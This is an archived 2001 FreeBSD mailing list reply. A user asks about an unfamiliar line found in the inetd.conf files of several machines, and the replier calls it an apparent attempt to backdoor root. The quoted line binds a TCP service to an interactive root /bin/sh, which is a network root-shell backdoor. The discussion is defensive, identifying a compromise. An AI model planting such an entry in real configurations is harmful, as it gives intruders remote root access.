Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 1 Aug 2001 09:21:33 +1200
From:      Jonathan Chen <jonathan.chen@itouch.co.nz>
To:        Hayden Katzenellenbogen <haydenk@nextlevelinternet.com>
Cc:        freebsd-stable@FreeBSD.ORG
Subject:   Re: Extra Line in my inetd.conf
Message-ID:  <20010801092133.C80418@itouchnz.itouch>
In-Reply-To: <NFBBKLNOALGIGCIMHGKFGEPOCCAA.haydenk@nextlevelinternet.com>; from haydenk@nextlevelinternet.com on Tue, Jul 31, 2001 at 02:14:11PM -0700
References:  <NFBBKLNOALGIGCIMHGKFGEPOCCAA.haydenk@nextlevelinternet.com>

next in thread | previous in thread | raw e-mail | index | archive | help
On Tue, Jul 31, 2001 at 02:14:11PM -0700, Hayden Katzenellenbogen wrote:
> I have noticed this line at the bottom of some of my inetd.conf files on a
> few of my machines.. it is though not commented out I have commented it out
> as well I have no idea what it does...
> 
> any one care to shed some light on this?
> 
> 
> 
> #dlip        stream  tcp     nowait  root    /bin/sh sh -i

Looks like a attempt to backdoor root. Any hack attempts lately?
-- 
Jonathan Chen <jonathan.chen@itouch.co.nz>
----------------------------------------------------------------------
          "You can get farther with a kind word and a gun
                      than you can with a kind word alone" - Al Capone

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-stable" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010801092133.C80418>